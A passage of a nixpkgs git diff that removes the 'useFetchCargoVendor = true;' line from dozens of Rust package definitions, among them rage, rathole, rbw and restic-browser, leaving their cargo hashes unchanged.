index 9024e11bddde..ce01051776eb 100644
--- a/pkgs/by-name/ra/radicle-node/package.nix
+++ b/pkgs/by-name/ra/radicle-node/package.nix
@@ -33,7 +33,7 @@ rustPlatform.buildRustPackage rec {
       rm -rf $out/.git
     '';
   };
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-/6VlRwWtJfHf6tXD2HJUTbThwTYeZFTJqtaxclrm3+c=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ra/radio-cli/package.nix b/pkgs/by-name/ra/radio-cli/package.nix
index 8b976f7eae84..3df9431917a2 100644
--- a/pkgs/by-name/ra/radio-cli/package.nix
+++ b/pkgs/by-name/ra/radio-cli/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-De/3tkvHf8dp04A0hug+aCbiXUc+XUYeHWYOiJ/bac0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-mxSlyQpMzLbiIbcVQUILHDyLsCf/9fanX9/yf0hyXHA=";
 
   buildInputs = [ openssl ];
diff --git a/pkgs/by-name/ra/raffi/package.nix b/pkgs/by-name/ra/raffi/package.nix
index a746eba72a87..815440dd5145 100644
--- a/pkgs/by-name/ra/raffi/package.nix
+++ b/pkgs/by-name/ra/raffi/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-97gZZp2taX800Izhya4mYzS4PtCNCBbRnrn6cm1w8zY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1n0JQdeExszuGFbpkBRT44eMov/x3BrIeofObdPNNdU=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ra/rage/package.nix b/pkgs/by-name/ra/rage/package.nix
index 9c359fa71505..ebdd91304ff3 100644
--- a/pkgs/by-name/ra/rage/package.nix
+++ b/pkgs/by-name/ra/rage/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-aZs1iqfpsiMuhxXNqRatpKD99eDBCsWHk4OPpnnaB70=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-GdvqkB/jHAGUbzhOLPkIX664JJH3WrZZtv+/E/PhTR8=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ra/ragenix/package.nix b/pkgs/by-name/ra/ragenix/package.nix
index 50fb8f42c5be..fbccae11d380 100644
--- a/pkgs/by-name/ra/ragenix/package.nix
+++ b/pkgs/by-name/ra/ragenix/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
   };
 
   cargoHash = "sha256-aM7kjyJJ8h4Yd1k2FTE8Vk/ezAXcCbfdAPxuNewptNQ=";
-  useFetchCargoVendor = true;
 
   RAGENIX_NIX_BIN_PATH = lib.getExe nix;
 
diff --git a/pkgs/by-name/ra/rails-new/package.nix b/pkgs/by-name/ra/rails-new/package.nix
index 8cae1865bdf5..a181e923e727 100644
--- a/pkgs/by-name/ra/rails-new/package.nix
+++ b/pkgs/by-name/ra/rails-new/package.nix
@@ -16,8 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-7hEdLu9Koi2K2EFIl530yA+BGZmATFCcBMe3htYb0rs=";
   };
 
-  useFetchCargoVendor = true;
-
   cargoHash = "sha256-FrndtE9hjP1WswfOYJM4LW1UsE8S9QXthYO7P3nzs2I=";
 
   nativeInstallCheckInputs = [ versionCheckHook ];
diff --git a/pkgs/by-name/ra/railway/package.nix b/pkgs/by-name/ra/railway/package.nix
index c3aed22ed1ff..d845a11ab778 100644
--- a/pkgs/by-name/ra/railway/package.nix
+++ b/pkgs/by-name/ra/railway/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-3QdwwZMlhhO25GuhWFNI6HpvOXjXpVypP4oVqTt5zzo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ox9iqwBhdc1bPbIPlDIRK2lptoQ5kisGYr+0Ymsc3ps=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ra/rainfrog/package.nix b/pkgs/by-name/ra/rainfrog/package.nix
index 3931848bdafa..312b2ed4bad6 100644
--- a/pkgs/by-name/ra/rainfrog/package.nix
+++ b/pkgs/by-name/ra/rainfrog/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-sUZnHlTxOz0j2KsWi/qaI5MYT0mkANn6deH54TS/JYw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-wgJWPlURS2DxcRMzDEAXa50nQswcjbe0zj2QgF0HZys=";
 
   passthru = {
diff --git a/pkgs/by-name/ra/rana/package.nix b/pkgs/by-name/ra/rana/package.nix
index 95ad02e5a2bb..73f54d844717 100644
--- a/pkgs/by-name/ra/rana/package.nix
+++ b/pkgs/by-name/ra/rana/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-gzyjOCGh45zEJvc0xFkp8gAH9Kxwfc2oPeMzbrTjnk8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-YOit8z1GAUmPz56M5jXA2EdyN5Pbo7517W3PNXgQnDs=";
 
   meta = {
diff --git a/pkgs/by-name/ra/rates/package.nix b/pkgs/by-name/ra/rates/package.nix
index 9621e30adc04..deebee05ec68 100644
--- a/pkgs/by-name/ra/rates/package.nix
+++ b/pkgs/by-name/ra/rates/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-zw2YLTrvqbGKR8Dg5W+kJTDKIfro+MNyjHXfZMXZhaw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-qfuCA1kAEbYIYI274lNrEKZNhltQP71CwtsjBr0REJs=";
 
   nativeInstallCheckInputs = [ versionCheckHook ];
diff --git a/pkgs/by-name/ra/rathole/package.nix b/pkgs/by-name/ra/rathole/package.nix
index e7834483e8bc..303a5b6c5484 100644
--- a/pkgs/by-name/ra/rathole/package.nix
+++ b/pkgs/by-name/ra/rathole/package.nix
@@ -33,7 +33,6 @@ rustPlatform.buildRustPackage rec {
     rm build.rs
   '';
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-IgPDe8kuWzJ6nF2DceUbN7fw0eGkoYhu1IGMdlSMFos=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ra/ratman/package.nix b/pkgs/by-name/ra/ratman/package.nix
index e9f79baa9a6f..ddb3289d9a32 100644
--- a/pkgs/by-name/ra/ratman/package.nix
+++ b/pkgs/by-name/ra/ratman/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-rdKfKbikyqs0Y/y9A8XRVSKenjHD5rS3blxwy98Tvmg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-H1XE+khN6sU9WTM87foEQRTK0u5fgDZvoG3//hvd464=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ra/rattler-build/package.nix b/pkgs/by-name/ra/rattler-build/package.nix
index 60a2dddaddd9..bd8b6deb12f3 100644
--- a/pkgs/by-name/ra/rattler-build/package.nix
+++ b/pkgs/by-name/ra/rattler-build/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-6N4YHrwzFTBShitAW7BMjEMzigB37Om5lICb94wEvlQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-fslC+e3d2tVFOWag7NZ1mTnjG3iMMezodpNQ+2LVRxU=";
 
   doCheck = false; # test requires network access
diff --git a/pkgs/by-name/ra/rav1e/package.nix b/pkgs/by-name/ra/rav1e/package.nix
index c363d68cd83c..cd4e0e92260e 100644
--- a/pkgs/by-name/ra/rav1e/package.nix
+++ b/pkgs/by-name/ra/rav1e/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-hVeBrfZxqkxzUeuut0XgU4qph1z4gPzV/9mS7X9byto=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-EDXzpHrdaHd3FQEuVnkQzqsYAjShsGc4XLhDAfmVXK8=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ra/ravedude/package.nix b/pkgs/by-name/ra/ravedude/package.nix
index abb50dd30979..5086ed2fb908 100644
--- a/pkgs/by-name/ra/ravedude/package.nix
+++ b/pkgs/by-name/ra/ravedude/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-rUYqqswjIPg4p7oWNjXnEKSav+uLjItGVxrRLz4NXd4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-FrlG68X9fbEBZlt+qdL3O1S8HAgwXu/Bkplu8UxXy5Y=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/rb/rblake2sum/package.nix b/pkgs/by-name/rb/rblake2sum/package.nix
index 8dc252af0539..e61562ccde94 100644
--- a/pkgs/by-name/rb/rblake2sum/package.nix
+++ b/pkgs/by-name/rb/rblake2sum/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-bzOjJ+/M0YWY4/r8cNARPVqbuLBeTllqFyVXhJz6ZMI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-wIJWwU4D0OeVa2RMgmpN512TIvNdcBdorXU8KfFRTIg=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/rb/rblake3sum/package.nix b/pkgs/by-name/rb/rblake3sum/package.nix
index 1e0ad125994b..ba1181f7b9c4 100644
--- a/pkgs/by-name/rb/rblake3sum/package.nix
+++ b/pkgs/by-name/rb/rblake3sum/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-UFk6SJVA58WXhH1CIuT48MEF19yPUe1HD+ekn4LDj8g=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-cxPNqUVNMkNY9Ov7/ajTAwnBd2j/gKDHVLXPtd1aPVA=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/rb/rbspy/package.nix b/pkgs/by-name/rb/rbspy/package.nix
index f9d9d1c694d3..467c58bc4c1e 100644
--- a/pkgs/by-name/rb/rbspy/package.nix
+++ b/pkgs/by-name/rb/rbspy/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-JvlFVoYGPPe3WJgS1MS3GHGpZcGpRh8Yg+8NwARJ3eI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-DDWsp8EzqbRyal6/x1hQE1sOdtBt1qACzd2f5wmsiHg=";
 
   # error: linker `aarch64-linux-gnu-gcc` not found
diff --git a/pkgs/by-name/rb/rbw/package.nix b/pkgs/by-name/rb/rbw/package.nix
index bb8561f7e4d0..71934756549a 100644
--- a/pkgs/by-name/rb/rbw/package.nix
+++ b/pkgs/by-name/rb/rbw/package.nix
@@ -31,7 +31,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ebLbdIF+BybK7ssNtZacGWmAEwdNZh8b94QYgvcwzmM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-xDb4shDHCbd0yuTSAt80i1aqyuhpkfd/fYF98CfXdcM=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/rc/rclone-ui/package.nix b/pkgs/by-name/rc/rclone-ui/package.nix
index 0db1c5d2cb26..55c7e1aacddd 100644
--- a/pkgs/by-name/rc/rclone-ui/package.nix
+++ b/pkgs/by-name/rc/rclone-ui/package.nix
@@ -38,7 +38,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
 
   cargoRoot = "src-tauri";
   buildAndTestSubdir = finalAttrs.cargoRoot;
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-o21of2eS2KZtg1U1E6RwdaA8jGhEVzg7HkgOv1k5wxI=";
 
   # Disable tauri bundle updater, can be removed when #389107 is merged
diff --git a/pkgs/by-name/rc/rcodesign/package.nix b/pkgs/by-name/rc/rcodesign/package.nix
index 8d1bcecfb011..617f899ec9a7 100644
--- a/pkgs/by-name/rc/rcodesign/package.nix
+++ b/pkgs/by-name/rc/rcodesign/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-NyO0HkldXh94Y16E+SX1VE/OOx0zgO6VYoRLJrEQUm0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-KJsTOviCFZ/1eNJLM4+QmK8h6laxN1POl7YMJyu9/g8=";
 
   cargoBuildFlags = [
diff --git a/pkgs/by-name/rc/rconc/package.nix b/pkgs/by-name/rc/rconc/package.nix
index 5c2216142aa1..0cc8ca11dd22 100644
--- a/pkgs/by-name/rc/rconc/package.nix
+++ b/pkgs/by-name/rc/rconc/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage {
     sha256 = "sha256-6Bff9NnG1ZEQhntzH5Iq0XEbJBKdwcb0BOn8nCkeWTY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-fkGSIPaq3SvbA9iP10sVb7gtBxo7XmHw+fz0Gt8AMXo=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/rc/rcp/package.nix b/pkgs/by-name/rc/rcp/package.nix
index 3bd769fc014a..86cf12fe9642 100644
--- a/pkgs/by-name/rc/rcp/package.nix
+++ b/pkgs/by-name/rc/rcp/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-mMSO5twpuxiA6pMG/bNMn3WJjs3ZwuoOk62M0WIrRBk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-uVBWPxGxNgiahywA78QjN8msNx3gZ6vOyX7AkOdK2EM=";
 
   RUSTFLAGS = "--cfg tokio_unstable";
diff --git a/pkgs/by-name/rd/rdedup/package.nix b/pkgs/by-name/rd/rdedup/package.nix
index cc874b51493a..6321fa3c5d04 100644
--- a/pkgs/by-name/rd/rdedup/package.nix
+++ b/pkgs/by-name/rd/rdedup/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-GEYP18CaCQShvCg8T7YTvlybH1LNO34KBxgmsTv2Lzs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-JpsUceR9Y3r6RiaLOtbgBUrb6eoan7fFt76U9ztQoM8=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/re/readest/package.nix b/pkgs/by-name/re/readest/package.nix
index db79733d03a2..358ef0e36c31 100644
--- a/pkgs/by-name/re/readest/package.nix
+++ b/pkgs/by-name/re/readest/package.nix
@@ -45,8 +45,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
 
   pnpmRoot = "../..";
 
-  useFetchCargoVendor = true;
-
   cargoHash = "sha256-5DIagAKSq427kwZTH/QKY3vbb+TmFscKSANoSkEJMGg=";
 
   cargoRoot = "../..";
diff --git a/pkgs/by-name/re/realm/package.nix b/pkgs/by-name/re/realm/package.nix
index 6edeccfdd07d..5eb2c5cba14f 100644
--- a/pkgs/by-name/re/realm/package.nix
+++ b/pkgs/by-name/re/realm/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-vkLGfSDRYqvoqyVM/CWGJjpvXXPisEZxUSjLZGjNzno=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Oe64l16uYdU6NvTl7XrEm6dAtRFngI9yHC4fe4hpTNA=";
 
   env.RUSTC_BOOTSTRAP = 1;
diff --git a/pkgs/by-name/re/reason-shell/package.nix b/pkgs/by-name/re/reason-shell/package.nix
index e3ce9f006665..092de4bafdf0 100644
--- a/pkgs/by-name/re/reason-shell/package.nix
+++ b/pkgs/by-name/re/reason-shell/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-oytRquZJgb1sfpZil1bSGwIIvm+5N4mkVmIMzWyzDco=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-LXVP8cAbPCPCE3DNBX2znyFn/E/cN2civX0qT0B5FVw=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/re/rebels-in-the-sky/package.nix b/pkgs/by-name/re/rebels-in-the-sky/package.nix
index 8f8533357d87..de27aea2fe6d 100644
--- a/pkgs/by-name/re/rebels-in-the-sky/package.nix
+++ b/pkgs/by-name/re/rebels-in-the-sky/package.nix
@@ -22,7 +22,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
     tag = "v${finalAttrs.version}";
     hash = "sha256-eC8n9g2kFErTRWWNo6jwAMGBX3+xGjtzq23+r3w0n0I=";
   };
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-dGD0RpelENEWe9W/3CXUS2GhOXRaWhCoD8AI2n4mUfs=";
 
   patches = lib.optionals (!withRadio) [
diff --git a/pkgs/by-name/re/rebuilderd/package.nix b/pkgs/by-name/re/rebuilderd/package.nix
index 303677626ab2..4545b20fd69a 100644
--- a/pkgs/by-name/re/rebuilderd/package.nix
+++ b/pkgs/by-name/re/rebuilderd/package.nix
@@ -40,7 +40,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
       --replace-fail '/bin/echo' 'echo'
   '';
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-O+1ARimSN26geZanLV5E94vnZk0HsE4pyjNS3dADg8Y=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/re/reddsaver/package.nix b/pkgs/by-name/re/reddsaver/package.nix
index e9017cf243a4..90b310bfe322 100644
--- a/pkgs/by-name/re/reddsaver/package.nix
+++ b/pkgs/by-name/re/reddsaver/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "07xsrc0w0z7w2w0q44aqnn1ybf9vqry01v3xr96l1xzzc5mkqdzf";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-xYtdGhuieFudfJz+LxUjP7mV8uItaIvLahCH7vBWTtg=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/re/redlib/package.nix b/pkgs/by-name/re/redlib/package.nix
index b5c569a9f01f..e4cd3ebf8a0d 100644
--- a/pkgs/by-name/re/redlib/package.nix
+++ b/pkgs/by-name/re/redlib/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-a+FFQqKXYws8b/iGr49eZMVmKBqacQGvW8P51ybtBSc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1zPLnkNZvuZS5z9AEJvhyIv+8/y+YhqFcj5Mu7RSqnE=";
 
   postInstall = ''
diff --git a/pkgs/by-name/re/refinery-cli/package.nix b/pkgs/by-name/re/refinery-cli/package.nix
index 56ceae80fe14..38a4f7805e03 100644
--- a/pkgs/by-name/re/refinery-cli/package.nix
+++ b/pkgs/by-name/re/refinery-cli/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
   # https://github.com/NixOS/nixpkgs/issues/332957
   cargoPatches = [ ./time-crate.patch ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-gcPVbKcPkV0H+BpErTokvLKFxpSXhxNoptxOeuhH1FU=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/re/regenkfs/package.nix b/pkgs/by-name/re/regenkfs/package.nix
index 1729a13c26b7..281485002640 100644
--- a/pkgs/by-name/re/regenkfs/package.nix
+++ b/pkgs/by-name/re/regenkfs/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage {
     sha256 = "sha256-zkwOpMNPGstn/y1l1s8blUKpBebY4Ta9hiPYxVLvG6Y=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-H8ORNdIVwmtNfuxbyyf5F35tGLNUXwrTFE2CVgkxr0M=";
 
   buildFeatures = [ "c-undef" ];
diff --git a/pkgs/by-name/re/regex-cli/package.nix b/pkgs/by-name/re/regex-cli/package.nix
index 465581d19f76..5cb960dcac1c 100644
--- a/pkgs/by-name/re/regex-cli/package.nix
+++ b/pkgs/by-name/re/regex-cli/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-lHjChrjjqO7pApj7OA8BM2XvmU3iS+kEMPYSfb/C61U=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-9KLvVgmUun8tuAfxYMvAa5qpeXiOKe9JndZ81PmPpjA=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/re/reindeer/package.nix b/pkgs/by-name/re/reindeer/package.nix
index fd2367f2c260..7a82c11f586b 100644
--- a/pkgs/by-name/re/reindeer/package.nix
+++ b/pkgs/by-name/re/reindeer/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-kJrOHXaYBZpqXWdxRBBY7kj+mk9Q2k153KEprf8exzc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-NGwcGcl5xFtOrs2M6FE7Q/kFt/ajPKmXMqIQufLOBzQ=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/re/release-plz/package.nix b/pkgs/by-name/re/release-plz/package.nix
index 9102b17a9097..827e142f575f 100644
--- a/pkgs/by-name/re/release-plz/package.nix
+++ b/pkgs/by-name/re/release-plz/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-G2xXNeyKEix/kCJ1zUn0YILMmikuvhu3f6t3pq3GjHI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1bFIeWYBGefT1K545sNp7/LWG4oU+q4FlOL189a/wI0=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/re/remkrom/package.nix b/pkgs/by-name/re/remkrom/package.nix
index 530f2937046f..77cb6c101971 100644
--- a/pkgs/by-name/re/remkrom/package.nix
+++ b/pkgs/by-name/re/remkrom/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage {
     sha256 = "sha256-DhfNfV9bd0p5dLXKgrVLyugQHK+RHsepeg0tGq5J6cI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-H+SZ+aUQReFJiN2MQHxaI0/bM1sXaSFVlIhedCKBQ0M=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/re/remodel/package.nix b/pkgs/by-name/re/remodel/package.nix
index 89ac00bd0169..5ddb2ac4e28d 100644
--- a/pkgs/by-name/re/remodel/package.nix
+++ b/pkgs/by-name/re/remodel/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-tZ6ptGeNBULJaoFomMFN294wY8YUu1SrJh4UfOL/MnI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-41EkXciQZ7lGlD+gVlZEahrGPeEMmaIaiF7tYff9xXw=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/re/ren-find/package.nix b/pkgs/by-name/re/ren-find/package.nix
index ce96fb3bee8e..f29671272097 100644
--- a/pkgs/by-name/re/ren-find/package.nix
+++ b/pkgs/by-name/re/ren-find/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-zVIt6Xp+Mvym6gySvHIZJt1QgzKVP/wbTGTubWk6kzI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-lSeO/GaJPZ8zosOIJRXVIEuPXaBg1GBvKBIuXtu1xZg=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/re/rep-grep/package.nix b/pkgs/by-name/re/rep-grep/package.nix
index 0842bb71b53d..b371506d75ee 100644
--- a/pkgs/by-name/re/rep-grep/package.nix
+++ b/pkgs/by-name/re/rep-grep/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-/dH+mNtNHaYFndVhoqmz4Sc3HeemoQt1HGD98mb9Qhw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-t4tfQaFq4EV4ZWeU+IestSFiSAIeVQslTZhLbpKVoO4=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/re/repak/package.nix b/pkgs/by-name/re/repak/package.nix
index cdce16444aa5..0b9a5960e34f 100644
--- a/pkgs/by-name/re/repak/package.nix
+++ b/pkgs/by-name/re/repak/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-nl05EsR52YFSR9Id3zFynhrBIvaqVwUOdjPlSp19Gcc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-i0pBd0ZiMIEFGZgvBgVNCfqPHE6E3Rt5pAHHVj1epLs=";
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/by-name/re/repgrep/package.nix b/pkgs/by-name/re/repgrep/package.nix
index d56e5ed54347..24f55cb9b4f0 100644
--- a/pkgs/by-name/re/repgrep/package.nix
+++ b/pkgs/by-name/re/repgrep/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-hLRl8mKRaufneJNBQqPsH+48ZQGxFBNgulXcaK4/6s4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ALp6BQNWpylHPBeLs/4hugN1ulCdctOmgu55Lmt8wjI=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/re/rerun/package.nix b/pkgs/by-name/re/rerun/package.nix
index a3249970ca87..fc3dd98224f6 100644
--- a/pkgs/by-name/re/rerun/package.nix
+++ b/pkgs/by-name/re/rerun/package.nix
@@ -49,7 +49,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
       --replace-fail '"rerun_sdk/rerun_cli/rerun"' '"rerun_sdk/rerun"'
   '';
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-zF3mzv7FOrr1qGG6N6u4c0OKc39klkBfQIqF0fmX5GU=";
 
   cargoBuildFlags = [ "--package rerun-cli" ];
diff --git a/pkgs/by-name/re/rescrobbled/package.nix b/pkgs/by-name/re/rescrobbled/package.nix
index 59914fbb785c..240f4887c932 100644
--- a/pkgs/by-name/re/rescrobbled/package.nix
+++ b/pkgs/by-name/re/rescrobbled/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-1E+SeKjHCah+IFn2QLAyyv7jgEcZ1gtkh8iHgiVBuz4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-oXj3pMT7lBcj/cNa6FY8ehr9TVSRUwqW3B4g5VeyH2w=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/re/reshape/package.nix b/pkgs/by-name/re/reshape/package.nix
index c9a5cef39e03..f6ec174927e3 100644
--- a/pkgs/by-name/re/reshape/package.nix
+++ b/pkgs/by-name/re/reshape/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-wv2gKyXCEH+tnZkUUAisMbuseth3dsFiJujH8VO1ii4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-lK54SEayI015f2AQ6h4zadgkECLp4jCeJO7enBG0LeM=";
 
   nativeCheckInputs = [
diff --git a/pkgs/by-name/re/restate/package.nix b/pkgs/by-name/re/restate/package.nix
index 8821a7d5c4d5..c494c41e0595 100644
--- a/pkgs/by-name/re/restate/package.nix
+++ b/pkgs/by-name/re/restate/package.nix
@@ -34,7 +34,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-zAICgEwErB6lHC/AK/3WuhL5u+Y5l+DXd4H63OLBQl8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-NlT+j3OD52HgDMeWAm9MewPQaQ+xf0FIpsRd5rTTVdQ=";
 
   env = {
diff --git a/pkgs/by-name/re/restic-browser/package.nix b/pkgs/by-name/re/restic-browser/package.nix
index c2d01e6e8e18..1db661fdd5a3 100644
--- a/pkgs/by-name/re/restic-browser/package.nix
+++ b/pkgs/by-name/re/restic-browser/package.nix
@@ -24,7 +24,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-magf19hA5PVAZafRcQXFaAD50qGofztpiluVc2aCeOk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-5wSxa8jgto+v+tJHbenc2nvGlLaOBYyRrCqFyCPnncc=";
 
   npmDeps = fetchNpmDeps {
diff --git a/pkgs/by-name/re/restic-integrity/package.nix b/pkgs/by-name/re/restic-integrity/package.nix
index 172bdbb6e6e7..cd8551bb2a01 100644
--- a/pkgs/by-name/re/restic-integrity/package.nix
+++ b/pkgs/by-name/re/restic-integrity/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Nii+rdz51+Acd+lZVpBispeFfVE8buxEGHvK2zMKbOM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Hnr003TbG0y/Ry4yOAs6t6rhc5yEJkc+TDAuxGePb0Y=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/re/restls/package.nix b/pkgs/by-name/re/restls/package.nix
index ab12a55c7004..46218915f4cf 100644
--- a/pkgs/by-name/re/restls/package.nix
+++ b/pkgs/by-name/re/restls/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-nlQdBwxHVbpOmb9Wq+ap2i4KI1zJYT3SEqvedDbVH8Q=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-hub64iZNVw/BJjibtDnJ3boIU27DEbYSlMLhFFVJ9ps=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/re/resvg/package.nix b/pkgs/by-name/re/resvg/package.nix
index b41cbefbecc8..d2e5d948e9f5 100644
--- a/pkgs/by-name/re/resvg/package.nix
+++ b/pkgs/by-name/re/resvg/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-XjWkzTdsnQZfBjf61dgGt/a7973ZljJG1rnCk0iGk6Y=";
   };
 
